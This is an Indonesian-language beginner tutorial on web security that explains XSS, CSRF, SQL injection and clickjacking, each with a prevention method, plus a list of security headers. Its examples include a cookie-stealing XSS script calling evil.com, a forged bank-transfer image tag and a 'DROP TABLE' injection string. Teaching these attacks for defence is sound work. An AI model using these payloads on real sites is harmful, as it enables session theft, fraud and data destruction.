Web Security Basics — Web Fundamentals

Keamanan web bukan opsional — setiap developer harus memahami ancaman dasar dan cara mencegahnya. Di sini kita bahas gambaran besar sebelum kamu mendalami topik

Keamanan web bukan opsional — setiap developer harus memahami ancaman dasar dan cara mencegahnya. Di sini kita bahas gambaran besar sebelum kamu mendalami topik security yang lebih spesifik.

Ancaman utama (OWASP Top Threats):

1. XSS (Cross-Site Scripting) Attacker menyisipkan script jahat ke halaman yang dilihat user lain.

<!-- Input user yang tidak di-sanitize: -->
<p>Halo, <script>fetch("https://evil.com?cookie="+document.cookie)</script></p>

<!-- Pencegahan: escape output! -->
<p>Halo, &lt;script&gt;...&lt;/script&gt;</p>

Pencegahan: selalu escape/sanitize output, gunakan CSP header.

2. CSRF (Cross-Site Request Forgery) Website jahat mengirim request ke website kamu menggunakan cookie user yang sedang login.

<!-- Di website jahat: -->
<img src="https://bank.com/transfer?to=hacker&amount=1000000">

Pencegahan: gunakan CSRF token, SameSite cookie.

3. SQL Injection Input user dimasukkan langsung ke query SQL.

// BERBAHAYA:
const query = "SELECT * FROM users WHERE name = '" + userInput + "'";
// Jika userInput = "'; DROP TABLE users; --"  → bahaya!

// AMAN: gunakan parameterized query
db.query("SELECT * FROM users WHERE name = ?", [userInput]);

4. Clickjacking Website kamu dimuat di iframe transparan di atas website palsu, sehingga user tanpa sadar mengklik tombol di website kamu.

Pencegahan: X-Frame-Options: DENY atau Content-Security-Policy: frame-ancestors 'none'

Security headers penting:

Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=()

Checklist keamanan dasar:

Prinsip: Never trust user input. Setiap data dari client (form, URL, cookies, headers) harus divalidasi di server.